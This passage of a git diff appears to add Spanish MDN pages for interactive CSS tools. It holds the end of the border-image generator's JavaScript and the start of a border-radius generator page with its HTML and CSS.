+			new DropDown(elem[i]);
+
+	};
+
+	return {
+		init : init,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe,
+		createDropDown : createDropDown
+	};
+
+})();
+
+
+/**
+ * UI-ButtonManager
+ */
+
+var ButtonManager = (function CheckBoxManager() {
+
+	var subscribers = [];
+	var buttons = [];
+
+	var CheckBox = function CheckBox(node) {
+		var topic = node.getAttribute('data-topic');
+		var state = node.getAttribute('data-state');
+		var name = node.getAttribute('data-label');
+		var align = node.getAttribute('data-text-on');
+
+		state = (state === "true");
+
+		var checkbox = document.createElement("input");
+		var label = document.createElement("label");
+
+		var id = 'checkbox-' + topic;
+		checkbox.id = id;
+		checkbox.setAttribute('type', 'checkbox');
+		checkbox.checked = state;
+
+		label.setAttribute('for', id);
+		if (name) {
+			label.className = 'text';
+			if (align)
+				label.className += ' ' + align;
+			label.textContent = name;
+		}
+
+		node.appendChild(checkbox);
+		node.appendChild(label);
+
+		this.node = node;
+		this.topic = topic;
+		this.checkbox = checkbox;
+
+		checkbox.addEventListener('change', function(e) {
+			notify.call(this);
+		}.bind(this));
+
+		buttons[topic] = this;
+	};
+
+	var getNode =  function getNode(topic) {
+		return buttons[topic].node;
+	};
+
+	var setValue = function setValue(topic, value) {
+		var obj = buttons[topic];
+		if (obj === undefined)
+			return;
+
+		obj.checkbox.checked = value;
+		notify.call(obj);
+	};
+
+	var subscribe = function subscribe(topic, callback) {
+		if (subscribers[topic] === undefined)
+			subscribers[topic] = [];
+
+		subscribers[topic].push(callback);
+	};
+
+	var unsubscribe = function unsubscribe(topic, callback) {
+		subscribers[topic].indexOf(callback);
+		subscribers[topic].splice(index, 1);
+	};
+
+	var notify = function notify() {
+		if (subscribers[this.topic] === undefined)
+			return;
+		for (var i = 0; i &lt; subscribers[this.topic].length; i++)
+			subscribers[this.topic][i](this.checkbox.checked);
+	};
+
+	var init = function init() {
+		var elem = document.querySelectorAll('.ui-checkbox');
+		var size = elem.length;
+		for (var i = 0; i &lt; size; i++)
+			new CheckBox(elem[i]);
+	};
+
+	return {
+		init : init,
+		setValue : setValue,
+		subscribe : subscribe,
+		unsubscribe : unsubscribe
+	};
+
+})();
+
+window.addEventListener("load", function() {
+	BorderImage.init();
+});
+
+var BorderImage = (function BorderImage() {
+
+	var getElemById = document.getElementById.bind(document);
+
+	var subject;
+	var preview;
+	var guidelines = [];
+	var positions = ['top', 'right', 'bottom', 'left'];
+
+	var makeDraggable = function makeDraggable(elem) {
+
+		var offsetTop;
+		var offsetLeft;
+
+		elem.setAttribute('data-draggable', 'true');
+
+		var dragStart = function dragStart(e) {
+			if (e.target.getAttribute('data-draggable') !== 'true' ||
+				e.target !== elem || e.button !== 0)
+				return;
+
+			offsetLeft = e.clientX - elem.offsetLeft;
+			offsetTop = e.clientY - elem.offsetTop;
+
+			document.addEventListener('mousemove', mouseDrag);
+			document.addEventListener('mouseup', dragEnd);
+		};
+
+		var dragEnd = function dragEnd(e) {
+			if (e.button !== 0)
+				return;
+
+			document.removeEventListener('mousemove', mouseDrag);
+			document.removeEventListener('mouseup', dragEnd);
+		};
+
+		var mouseDrag = function mouseDrag(e) {
+
+			elem.style.left = e.clientX - offsetLeft + 'px';
+			elem.style.top = e.clientY - offsetTop + 'px';
+		};
+
+		elem.addEventListener('mousedown', dragStart, false);
+	};
+
+	var PreviewControl = function PreviewControl() {
+
+		var dragging = false;
+		var valueX = null;
+		var valueY = null;
+
+		var dragStart = function dragStart(e) {
+			if (e.button !== 0)
+				return;
+
+			valueX = e.clientX - preview.clientWidth;
+			valueY = e.clientY - preview.clientHeight;
+			dragging = true;
+
+			document.addEventListener('mousemove', mouseDrag);
+		};
+
+		var dragEnd = function dragEnd(e) {
+			if (e.button !== 0 || dragging === false)
+				return;
+
+			document.removeEventListener('mousemove', mouseDrag);
+			dragging = false;
+		};
+
+		var mouseDrag = function mouseDrag(e) {
+			InputSliderManager.setValue('preview-width', e.clientX - valueX);
+			InputSliderManager.setValue('preview-height', e.clientY - valueY);
+		};
+
+		var init = function init() {
+
+			makeDraggable(preview);
+			makeDraggable(subject);
+
+			var handle = document.createElement('div');
+			handle.className = 'resize-handle';
+
+			handle.addEventListener('mousedown', dragStart);
+			document.addEventListener('mouseup', dragEnd);
+
+			preview.appendChild(handle);
+
+		};
+
+		return {
+			init: init
+		};
+
+	}();
+
+	var ImageReader = (function ImageReader() {
+
+		var fReader = new FileReader();
+		var browse = document.createElement('input');
+
+		var loadImage = function loadImage(e) {
+			if (browse.files.length === 0)
+				return;
+
+			var file = browse.files[0];
+
+			if (file.type.slice(0, 5) !== 'image')
+				return;
+
+			fReader.readAsDataURL(file);
+
+			return false;
+		};
+
+		fReader.onload = function(e) {
+			ImageControl.loadRemoteImage(e.target.result);
+		};
+
+		var load = function load() {
+			browse.click();
+		};
+
+		browse.setAttribute('type', 'file');
+		browse.style.display = 'none';
+		browse.onchange = loadImage;
+
+		return {
+			load: load
+		};
+
+	})();
+
+	var ImageControl = (function ImageControl() {
+
+		var scale = 0.5;
+		var imgSource = new Image();
+		var imgState = null;
+		var selected = null;
+
+
+		var topics = ['slice', 'width', 'outset'];
+		var properties = {};
+		properties['border1'] = {
+			fill			: false,
+
+			slice_values	: [27, 27, 27, 27],
+			width_values	: [20, 20, 20, 20],
+			outset_values	: [0, 0, 0, 0],
+
+			slice_units		: [0, 0, 0, 0],
+			width_units		: [0, 0, 0, 0],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [1, 1],
+			size			: [300, 200],
+			preview_area	: 400
+		};
+
+		properties['border2'] = {
+			fill			: false,
+
+			slice_values	: [33, 33, 33, 33],
+			width_values	: [1.5, 1.5, 1.5, 1.5],
+			outset_values	: [0, 0, 0, 0],
+
+			slice_units		: [1, 1, 1, 1],
+			width_units		: [2, 2, 2, 2],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [2, 2],
+			size			: [300, 200],
+			preview_area	: 400
+		};
+
+		properties['border3'] = {
+			fill			: true,
+
+			slice_values	: [15, 15, 15, 15],
+			width_values	: [10, 10, 10, 10],
+			outset_values	: [0, 0, 0, 0],
+
+			slice_units		: [0, 0, 0, 0],
+			width_units		: [0, 0, 0, 0],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [2, 2],
+			size			: [300, 200],
+			preview_area	: 400
+		};
+
+		properties['border4'] = {
+			fill			: false,
+
+			slice_values	: [13, 13, 13, 13],
+			width_values	: [13, 13, 13, 13],
+			outset_values	: [13, 13, 13, 13],
+
+			slice_units		: [0, 0, 0, 0],
+			width_units		: [0, 0, 0, 0],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [0, 0],
+			size			: [300, 200],
+			preview_area	: 400
+		};
+
+		properties['border5'] = {
+			fill			: false,
+
+			slice_values	: [0, 12, 0, 12],
+			width_values	: [0, 12, 0, 12],
+			outset_values	: [0, 0, 0, 0],
+
+			slice_units		: [0, 0, 0, 0],
+			width_units		: [0, 0, 0, 0],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [0, 0],
+			size			: [300, 200],
+			preview_area	: 400,
+		};
+
+		properties['border6'] = {
+			fill			: false,
+
+			slice_values	: [42, 42, 42, 42],
+			width_values	: [42, 42, 42, 42],
+			outset_values	: [0, 0, 0, 0],
+
+			slice_units		: [0, 0, 0, 0],
+			width_units		: [0, 0, 0, 0],
+			outset_units	: [0, 0, 0, 0],
+
+			repeat			: [2, 2],
+			size			: [350, 350],
+			preview_area	: 500,
+		};
+
+
+		var loadLocalImage = function loadLocalImage(source) {
+			var location = "images/" + source;
+			imgSource.src = location;
+		};
+
+		var loadRemoteImage = function loadRemoteImage(source) {
+			imgSource.src = source;
+			if (selected)
+				selected.removeAttribute('selected');
+			Tool.setOutputCSS('source', 'url("' + source + '")');
+		};
+
+		var pickImage = function pickImage(e) {
+			if (e.target.className === 'image') {
+				selected = e.target;
+				selected.setAttribute('selected', 'true');
+				loadRemoteImage(e.target.src);
+				imgState = e.target.getAttribute('data-stateID');
+			}
+		};
+
+		var loadImageState = function loadImageState(stateID) {
+			if (properties[stateID] === undefined)
+				return;
+
+			var prop = properties[stateID];
+			var topic;
+			var unit_array;
+			var value_array;
+
+			for (var i in topics) {
+				for (var j=0; j&lt;4; j++) {
+					topic = topics[i] + '-' + positions[j];
+					unit_array = topics[i] + '_units';
+					value_array = topics[i] + '_values';
+					InputSliderManager.setValue(topic, prop[value_array][j]);
+					DropDownManager.setValue(topic, prop[unit_array][j]);
+				}
+			}
+
+			ButtonManager.setValue('slice-fill', prop['fill']);
+			DropDownManager.setValue('image-repeat-X', prop['repeat'][0]);
+			DropDownManager.setValue('image-repeat-Y', prop['repeat'][1]);
+			InputSliderManager.setValue('preview-width', prop['size'][0]);
+			InputSliderManager.setValue('preview-height', prop['size'][1]);
+			InputSliderManager.setValue('preview-area-height', prop['preview_area']);
+		};
+
+		var update = function update() {
+			scale =  Math.min(300, (30000 / this.width) | 0);
+			setScale(scale);
+			InputSliderManager.setValue('scale', scale, false);
+
+			subject.style.backgroundImage = 'url("' + this.src + '")';
+			preview.style.borderImageSource = 'url("' + this.src + '")';
+
+			guidelines['slice-top'].setMax(this.height);
+			guidelines['slice-right'].setMax(this.width);
+			guidelines['slice-bottom'].setMax(this.height);
+			guidelines['slice-left'].setMax(this.width);
+
+			if (imgState)
+				loadImageState(imgState);
+		};
+
+		var setScale = function setScale(value) {
+			scale = value;
+			var w = imgSource.width * scale / 100 | 0;
+			var h = imgSource.height * scale / 100 | 0;
+			subject.style.width = w + 'px';
+			subject.style.height = h + 'px';
+
+			for (var i = 0; i &lt; positions.length; i++)
+				guidelines['slice-' + positions[i]].updateGuidelinePos();
+		};
+
+		var getScale = function getScale() {
+			return scale/100;
+		};
+
+		var toggleGallery = function toggleGallery() {
+			var gallery = getElemById('image-gallery');
+			var button  = getElemById('toggle-gallery');
+			var state = 1;
+			button.addEventListener('click', function() {
+				state = 1 ^ state;
+				if (state === 0) {
+					gallery.setAttribute('data-collapsed', 'true');
+					button.setAttribute('data-action', 'show');
+				}
+				else {
+					gallery.removeAttribute('data-collapsed');
+					button.setAttribute('data-action', 'hide');
+				}
+			});
+		};
+
+		var init = function init() {
+			var gallery = getElemById('image-gallery');
+			var browse = getElemById('load-image');
+			var remote = getElemById('remote-url');
+			var load_remote = getElemById('load-remote');
+
+			remote.addEventListener('change', function(){
+				loadRemoteImage(this.value);
+			});
+
+			load_remote.addEventListener('click', function(){
+				loadRemoteImage(remote.value);
+			});
+
+			browse.addEventListener('click', ImageReader.load);
+			gallery.addEventListener('click', pickImage);
+			imgSource.addEventListener('load', update);
+
+			InputSliderManager.subscribe('scale', setScale);
+			InputSliderManager.setValue('scale', scale);
+			imgState = 'border1';
+			loadRemoteImage('https://mdn.mozillademos.org/files/6007/border-image-1.png');
+			toggleGallery();
+		};
+
+		return {
+			init: init,
+			getScale : getScale,
+			loadRemoteImage: loadRemoteImage
+		};
+
+	})();
+
+	var GuideLine = function GuideLine(node) {
+		var topic = node.getAttribute('data-topic');
+		var axis = node.getAttribute('data-axis');
+
+		this.node = node;
+		this.topic = topic;
+		this.axis = axis;
+		this.info = topic.split('-')[1];
+
+		this.position = 0;
+		this.value = 0;
+		this.unit = 0;
+		this.max = 0;
+		this.pos = positions.indexOf(this.info);
+
+		guidelines[topic] = this;
+
+		var relative_container = document.createElement('div');
+		var tooltip = document.createElement('div');
+		var tooltip2 = document.createElement('div');
+
+		tooltip.className = 'tooltip';
+		tooltip.setAttribute('data-info', this.info);
+
+		tooltip2.className = 'tooltip2';
+		tooltip2.textContent = this.info;
+		tooltip2.setAttribute('data-info', this.info);
+
+		this.tooltip = tooltip;
+
+		relative_container.appendChild(tooltip);
+		relative_container.appendChild(tooltip2);
+		node.appendChild(relative_container);
+
+		var startX = 0;
+		var startY = 0;
+		var start = 0;
+
+		var startDrag = function startDrag(e) {
+			startX = e.clientX;
+			startY = e.clientY;
+			start = guidelines[topic].position;
+			document.body.setAttribute('data-move', axis);
+			relative_container.setAttribute('data-active', '');
+			node.setAttribute('data-active', '');
+
+			document.addEventListener('mousemove', updateGuideline);
+			document.addEventListener('mouseup', endDrag);
+		};
+
+		var endDrag = function endDrag() {
+			document.body.removeAttribute('data-move');
+			relative_container.removeAttribute('data-active');
+			node.removeAttribute('data-active');
+
+			document.removeEventListener('mousemove', updateGuideline);
+		};
+
+		var updateGuideline = function updateGuideline(e) {
+			var value;
+			if (topic === 'slice-top')
+				value = e.clientY - startY + start;
+
+			if (topic === 'slice-right')
+				value = startX - e.clientX + start;
+
+			if (topic === 'slice-bottom')
+				value = startY - e.clientY + start;
+
+			if (topic === 'slice-left')
+				value = e.clientX - startX + start;
+
+			if (this.unit === 0)
+				InputSliderManager.setValue(topic, value * 1 / ImageControl.getScale() | 0);
+			else {
+				InputSliderManager.setValue(topic, (value * 100 / (this.max * ImageControl.getScale())) | 0);
+			}
+
+		}.bind(this);
+
+		node.addEventListener("mousedown", startDrag);
+
+		InputSliderManager.subscribe(topic, this.setPosition.bind(this));
+		InputSliderManager.setValue(topic, this.position);
+	};
+
+
+	GuideLine.prototype.updateGuidelinePos = function updateGuidelinePos() {
+		if (this.unit === 0)
+			this.position = this.value * ImageControl.getScale() | 0;
+		else
+			this.position = this.value * this.max * ImageControl.getScale() / 100 | 0;
+
+		this.node.style[this.info] = this.position + 'px';
+	};
+
+	GuideLine.prototype.setPosition = function setPosition(value) {
+		this.value = value;
+		this.tooltip.textContent = value;
+		this.updateGuidelinePos();
+		Tool.setBorderSlice(this.pos, value);
+	};
+
+	GuideLine.prototype.setMax = function setMax(max) {
+		this.max = max;
+		this.updateLimit();
+	};
+
+	GuideLine.prototype.updateLimit = function updateLimit() {
+		if (this.unit === 1)
+			InputSliderManager.setMax(this.topic, 100);
+		else
+			InputSliderManager.setMax(this.topic, this.max);
+	};
+
+	GuideLine.prototype.setUnit = function setUnit(type) {
+		if (type === '%')	this.unit = 1;
+		if (type === '')	this.unit = 0;
+		this.updateLimit();
+	};
+
+	/*
+	 * Unit panel
+	 */
+	var UnitPanel = (function UnitPanel () {
+
+		var panel;
+		var title;
+		var precision;
+		var step;
+		var unit_topic = null; // settings are made for this topic
+		var step_option = [1, 0.1, 0.01];
+
+		var updatePrecision = function updatePrecision(value) {
+			InputSliderManager.setPrecision('unit-step', value);
+			InputSliderManager.setStep('unit-step', step_option[value]);
+			InputSliderManager.setMin('unit-step', step_option[value]);
+
+			if (unit_topic)
+				InputSliderManager.setPrecision(unit_topic, value);
+		};
+
+		var updateUnitSettings = function updateUnitSettings(value) {
+			if (unit_topic)
+				InputSliderManager.setStep(unit_topic, value);
+		};
+
+		var show = function show(e) {
+			var topic = e.target.getAttribute('data-topic');
+			var precision = InputSliderManager.getPrecision(topic);
+			var step = InputSliderManager.getStep(topic);
+
+			unit_topic = topic;
+			title.textContent = topic;
+
+			panel.setAttribute('data-active', 'true');
+			panel.style.top = e.target.offsetTop - 40 + 'px';
+			panel.style.left = e.target.offsetLeft + 30 + 'px';
+
+			InputSliderManager.setValue('unit-precision', precision);
+			InputSliderManager.setValue('unit-step', step);
+		};
+
+		var init = function init() {
+			panel = document.createElement('div');
+			title = document.createElement('div');
+			var close = document.createElement('div');
+
+			step = InputSliderManager.createSlider('unit-step', 'step');
+			precision = InputSliderManager.createSlider('unit-precision', 'precision');
+
+			InputSliderManager.setStep('unit-precision', 1);
+			InputSliderManager.setMax('unit-precision', 2);
+			InputSliderManager.setValue('unit-precision', 2);
+			InputSliderManager.setSensivity('unit-precision', 20);
+
+			InputSliderManager.setValue('unit-step', 1);
+			InputSliderManager.setStep('unit-step', 0.01);
+			InputSliderManager.setPrecision('unit-step', 2);
+
+			InputSliderManager.subscribe('unit-precision', updatePrecision);
+			InputSliderManager.subscribe('unit-step', updateUnitSettings);
+
+			close.addEventListener('click', function () {
+				panel.setAttribute('data-active', 'false');
+			});
+
+			title.textContent = 'Properties';
+			title.className = 'title';
+			close.className = 'close';
+			panel.id = 'unit-settings';
+			panel.setAttribute('data-active', 'false');
+			panel.appendChild(title);
+			panel.appendChild(precision);
+			panel.appendChild(step);
+			panel.appendChild(close);
+			document.body.appendChild(panel);
+		};
+
+		return {
+			init : init,
+			show : show
+		};
+
+	})();
+
+	/**
+	 * Tool Manager
+	 */
+	var Tool = (function Tool() {
+		var preview_area;
+		var dropdown_unit_options = [
+			{ '' : '--', '%' : '%'},
+			{ 'px' : 'px', '%' : '%', 'em' : 'em'},
+			{ 'px' : 'px', 'em' : 'em'},
+		];
+
+		var border_slice = [];
+		var border_width = [];
+		var border_outset = [];
+
+		var border_slice_values = [];
+		var border_width_values = [];
+		var border_outset_values = [];
+
+		var border_slice_units = ['', '', '', ''];
+		var border_width_units = ['px', 'px', 'px', 'px'];
+		var border_outset_units = ['px', 'px', 'px', 'px'];
+
+		var border_fill = false;
+		var border_repeat = ['round', 'round'];
+		var CSS_code = {
+			'source' : null,
+			'slice' : null,
+			'width' : null,
+			'outset' : null,
+			'repeat' : null
+		};
+
+		var setBorderSlice = function setBorderSlice(positionID, value) {
+			border_slice[positionID] = value + border_slice_units[positionID];
+			updateBorderSlice();
+		};
+
+		var updateBorderSlice = function updateBorderSlice() {
+			var value = border_slice.join(' ');
+			if (border_fill === true)
+				value += ' fill';
+
+			preview.style.borderImageSlice = value;
+			setOutputCSS('slice', value);
+		};
+
+		var setBorderFill = function setBorderFill(value) {
+			border_fill = value;
+			var bimgslice = border_slice.join(' ');;
+			if (value === true)
+				bimgslice += ' fill';
+
+			preview.style.borderImageSlice = bimgslice;
+		};
+
+		var updateBorderWidth = function updateBorderWidth() {
+			var value = border_width.join(' ');
+			preview.style.borderImageWidth = value;
+			setOutputCSS('width', value);
+		};
+
+		var updateBorderOutset = function updateBorderOutset() {
+			var value = border_outset.join(' ');
+			preview.style.borderImageOutset = border_outset.join(' ');
+			setOutputCSS('outset', value);
+		};
+
+		var setBorderRepeat = function setBorderRepeat(obj) {
+			border_repeat[obj.value] = obj.name;
+			var value = border_repeat.join(' ');
+			preview.style.borderImageRepeat = value;
+			setOutputCSS('repeat', value);
+		};
+
+		var setOutputCSS = function setOutputCSS(topic, value) {
+			CSS_code[topic].textContent = value + ';';
+		};
+
+		var setPreviewFontSize = function setPreviewFontSize(value) {
+			preview.style.fontSize = value + 'px';
+		};
+
+		var setPreviewWidth = function setPreviewWidth(value) {
+			preview.style.width = value + 'px';
+		};
+
+		var setPreviewHeight = function setPreviewHeight(value) {
+			preview.style.height = value + 'px';
+		};
+
+		var setPreviewAreaHeight = function setPreviewAreaHeight(value) {
+			preview_area.style.height = value + 'px';
+		};
+
+		var updateDragOption = function updateDragOption(value) {
+			if (value === true)
+				subject.setAttribute('data-draggable', 'true');
+			else
+				subject.removeAttribute('data-draggable');
+		};
+
+		var createProperty = function createProperty(topic, labelID, optionsID) {
+
+			var slider = InputSliderManager.createSlider(topic, positions[labelID]);
+			var dropdown = DropDownManager.createDropDown(topic, dropdown_unit_options[optionsID]);
+
+			InputSliderManager.setSensivity(topic, 3);
+			InputSliderManager.setPrecision(topic, 1);
+
+			var property = document.createElement('div');
+			var config = document.createElement('div');
+
+			property.className = 'property';
+			config.className = 'config';
+			config.setAttribute('data-topic', topic);
+			config.addEventListener('click', UnitPanel.show);
+
+			property.appendChild(slider);
+			property.appendChild(dropdown);
+			property.appendChild(config);
+
+			return property;
+		};
+
+		var initBorderSliceControls = function initBorderSliceControls() {
+			var container = getElemById('border-slice-control');
+
+			var listenForChanges = function listenForChanges(topic, id) {
+				InputSliderManager.subscribe(topic, function(value) {
+					border_slice_values[id] = value;
+					border_slice[id] = value + border_slice_units[id];
+					updateBorderSlice();
+				});
+
+				DropDownManager.subscribe(topic, function(obj) {
+					guidelines[topic].setUnit(obj.value);
+					border_slice_units[id] = obj.value;
+					border_slice[id] = border_slice_values[id] + obj.value;
+					updateBorderSlice();
+				});
+			};
+
+			for (var i = 0; i &lt; positions.length; i++) {
+				var topic = 'slice-' + positions[i];
+				var property = createProperty(topic, i, 0);
+				listenForChanges(topic, i);
+
+				container.appendChild(property);
+			}
+
+			container.appendChild(container.children[1]);
+
+		};
+
+		var initBorderWidthControls = function initBorderWidthControls() {
+			var container = getElemById('border-width-control');
+
+			var listenForChanges = function listenForChanges(topic, id) {
+				InputSliderManager.subscribe(topic, function(value) {
+					border_width_values[id] = value;
+					border_width[id] = value + border_width_units[id];
+					updateBorderWidth();
+				});
+
+				DropDownManager.subscribe(topic, function(obj) {
+					if (obj.value === '%')
+						InputSliderManager.setMax(topic, 100);
+					else
+						InputSliderManager.setMax(topic, 1000);
+
+					border_width_units[id] = obj.value;
+					border_width[id] = border_width_values[id] + obj.value;
+					updateBorderWidth();
+				});
+			};
+
+			for (var i = 0; i &lt; positions.length; i++) {
+				var topic = 'width-' + positions[i];
+				var property = createProperty(topic, i, 1);
+				InputSliderManager.setMax(topic, 1000);
+				listenForChanges(topic, i);
+
+				container.appendChild(property);
+			}
+		};
+
+		var initBorderOutsetControls = function initBorderOutsetControls() {
+
+			var container = getElemById('border-outset-control');
+
+			var listenForChanges = function listenForChanges(topic, id) {
+				InputSliderManager.subscribe(topic, function(value) {
+					border_outset_values[id] = value;
+					border_outset[id] = value + border_outset_units[id];
+					updateBorderOutset();
+				});
+
+				DropDownManager.subscribe(topic, function(obj) {
+					border_outset_units[id] = obj.value;
+					border_outset[id] = border_outset_values[id] + obj.value;
+					updateBorderOutset();
+				});
+			};
+
+			for (var i = 0; i &lt; positions.length; i++) {
+				var topic = 'outset-' + positions[i];
+				var property = createProperty(topic, i, 2);
+				InputSliderManager.setMax(topic, 1000);
+				listenForChanges(topic, i);
+
+				container.appendChild(property);
+			}
+		};
+
+		var init = function init() {
+
+			var gallery =
+			subject = getElemById('subject');
+			preview = getElemById("preview");
+			preview_area = getElemById("preview_section");
+
+
+			CSS_code['source'] = getElemById("out-border-source");
+			CSS_code['slice'] = getElemById("out-border-slice");
+			CSS_code['width'] = getElemById("out-border-width");
+			CSS_code['outset'] = getElemById("out-border-outset");
+			CSS_code['repeat'] = getElemById("out-border-repeat");
+
+			initBorderSliceControls();
+			initBorderWidthControls();
+			initBorderOutsetControls();
+
+			var elem = document.querySelectorAll('.guideline');
+			var size = elem.length;
+			for (var i = 0; i &lt; size; i++)
+				new GuideLine(elem[i]);
+
+			PreviewControl.init();
+
+			ButtonManager.subscribe('slice-fill',setBorderFill);
+			ButtonManager.subscribe('drag-subject', updateDragOption);
+			ButtonManager.setValue('drag-subject', false);
+
+			DropDownManager.subscribe('image-repeat-X', setBorderRepeat);
+			DropDownManager.subscribe('image-repeat-Y', setBorderRepeat);
+
+			InputSliderManager.subscribe('preview-area-height', setPreviewAreaHeight);
+			InputSliderManager.subscribe('preview-width', setPreviewWidth);
+			InputSliderManager.subscribe('preview-height', setPreviewHeight);
+			InputSliderManager.subscribe('font-size', setPreviewFontSize);
+			InputSliderManager.setValue('preview-width', 300);
+			InputSliderManager.setValue('preview-height', 200);
+		};
+
+		return {
+			init: init,
+			setOutputCSS: setOutputCSS,
+			setBorderSlice: setBorderSlice
+		};
+
+	})();
+
+	/**
+	 * Init Tool
+	 */
+	var init = function init() {
+		InputSliderManager.init();
+		DropDownManager.init();
+		ButtonManager.init();
+		UnitPanel.init();
+		Tool.init();
+		ImageControl.init();
+	};
+
+	return {
+		init : init
+	};
+
+})();
+
+</pre>
+</div>
+<p>{{ EmbedLiveSample('Border_Image_Generator', '100%', '1270px') }}</p>
+
+<p> </p>
diff --git a/files/es/web/css/css_background_and_borders/border-radius_generator/index.html b/files/es/web/css/css_background_and_borders/border-radius_generator/index.html
new file mode 100644
index 0000000000..5f2f982065
--- /dev/null
+++ b/files/es/web/css/css_background_and_borders/border-radius_generator/index.html
@@ -0,0 +1,1601 @@
+---
+title: Generador de border-radius
+slug: Web/CSS/CSS_Background_and_Borders/Border-radius_generator
+tags:
+  - Herramientas
+translation_of: Web/CSS/CSS_Background_and_Borders/Border-radius_generator
+---
+<p>Esta herramienta puede ser usada para generar efectos de {{cssxref("border-radius")}} de CSS3.</p>
+
+<div style="display: none;">
+<h2 id="border-radius-generator" name="border-radius-generator">border-radius</h2>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">&lt;div id="container"&gt;
+    &lt;div class="group section"&gt;
+        &lt;div id="preview" class="col span_12"&gt;
+            &lt;div id="subject"&gt;
+                &lt;div id="top-left" class="radius-container"
+                    data-X="left" data-Y="top"&gt;
+                &lt;/div&gt;
+                &lt;div id="top-right" class="radius-container"
+                    data-X="right" data-Y="top"&gt;
+                &lt;/div&gt;
+                &lt;div id="bottom-right" class="radius-container"
+                    data-X="right" data-Y="bottom"&gt;
+                &lt;/div&gt;
+                &lt;div id="bottom-left" class="radius-container"
+                    data-X="left" data-Y="bottom"&gt;
+                &lt;/div&gt;
+
+                &lt;div id="radius-ui-sliders"&gt;
+                    &lt;div id="tlr" class="ui-input-slider" data-topic="top-left"
+                         data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="tlw" class="ui-input-slider" data-topic="top-left-w"
+                         data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="tlh" class="ui-input-slider" data-topic="top-left-h"
+                        data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="trr" class="ui-input-slider" data-topic="top-right"
+                         data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="trw" class="ui-input-slider" data-topic="top-right-w"
+                         data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="trh" class="ui-input-slider" data-topic="top-right-h"
+                        data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="brr" class="ui-input-slider" data-topic="bottom-right"
+                         data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="brw" class="ui-input-slider" data-topic="bottom-right-w"
+                         data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="brh" class="ui-input-slider" data-topic="bottom-right-h"
+                        data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="blr" class="ui-input-slider" data-topic="bottom-left"
+                         data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="blw" class="ui-input-slider" data-topic="bottom-left-w"
+                         data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+
+                    &lt;div id="blh" class="ui-input-slider" data-topic="bottom-left-h"
+                        data-unit=" px" data-sensivity="2"&gt;&lt;/div&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+        &lt;/div&gt;
+    &lt;/div&gt;
+    &lt;div id="controls" class="group section"&gt;
+
+        &lt;div class="group section"&gt;
+            &lt;div id="dimensions"&gt;
+                &lt;div class="ui-input-slider" data-topic="width" data-info="width"
+                     data-unit=" px" data-min="150" data-max="700" data-sensivity="1"&gt;&lt;/div&gt;
+
+                &lt;div class="ui-input-slider" data-topic="height" data-info="height"
+                    data-unit=" px" data-min="75" data-max="350" data-sensivity="1"&gt;&lt;/div&gt;
+            &lt;/div&gt;
+
+            &lt;div id="output"&gt;&lt;/div&gt;
+        &lt;/div&gt;
+
+        &lt;div class="group section"&gt;
+            &lt;div id="radius-lock"&gt;
+                &lt;div class="info"&gt; rounded corner &lt;/div&gt;
+                &lt;div class="ui-checkbox" data-topic='top-left'&gt;&lt;/div&gt;
+                &lt;div class="ui-checkbox" data-topic='top-right'&gt;&lt;/div&gt;
+                &lt;div class="ui-checkbox" data-topic='bottom-right'&gt;&lt;/div&gt;
+                &lt;div class="ui-checkbox" data-topic='bottom-left'&gt;&lt;/div&gt;
+            &lt;/div&gt;
+
+            &lt;div id="unit-selection"&gt;
+                &lt;div class="info"&gt; select border units &lt;/div&gt;
+            &lt;/div&gt;
+        &lt;/div&gt;
+
+    &lt;/div&gt;
+&lt;/div&gt;
+</pre>
+
+<h3 id="CSS_Content">CSS Content</h3>
+
+<pre class="brush: css">/*  GRID OF TEN
+ * ========================================================================== */
+
+.span_12 {
+	width: 100%;
+}
+
+.span_11 {
+	width: 91.46%;
+}
+
+.span_10 {
+	width: 83%;
+}
+
+.span_9 {
+	width: 74.54%;
+}
+
+.span_8 {
+	width: 66.08%;
+}
+
+.span_7 {
+	width: 57.62%;
+}
+
+.span_6 {
+	width: 49.16%;
+}
+
+.span_5 {
+	width: 40.7%;
+}
+
+.span_4 {
+	width: 32.24%;
+}
+
+.span_3 {
+	width: 23.78%;
+}
+
+.span_2 {
+	width: 15.32%;
+}
+
+.span_1 {
+	width: 6.86%;
+}
+
+
+
+
+/*  SECTIONS
+ * ========================================================================== */
+
+.section {
+	clear: both;
+	padding: 0px;
+	margin: 0px;
+}
+
+/*  GROUPING
+ * ========================================================================== */
+
+
+.group:before, .group:after {
+    content: "";
+    display: table;
+}
+
+.group:after {
+    clear:both;
+}
+
+.group {
+    zoom: 1; /* For IE 6/7 (trigger hasLayout) */
+}
+
+/*  GRID COLUMN SETUP
+ * ========================================================================== */
+
+.col {
+	display: block;
+	float:left;
+	margin: 1% 0 1% 1.6%;
+}
+
+.col:first-child {
+	margin-left: 0;
+} /* all browsers except IE6 and lower */
+
+
+/*
+ * UI Component
+ */
+
+.ui-input-slider-container {
+	height: 20px;
+	margin: 10px 0;
+	font-family: "Segoe UI", Arial, Helvetica, sans-serif;
+	-moz-user-select: none;
+	user-select: none;
+}
+
+.ui-input-slider-container * {
+	float: left;
+	height: 100%;
+	line-height: 100%;
+}
+
+/* Input Slider */
+
+.ui-input-slider &gt; input {
+	margin: 0;
+	padding: 0;
+	width: 50px;
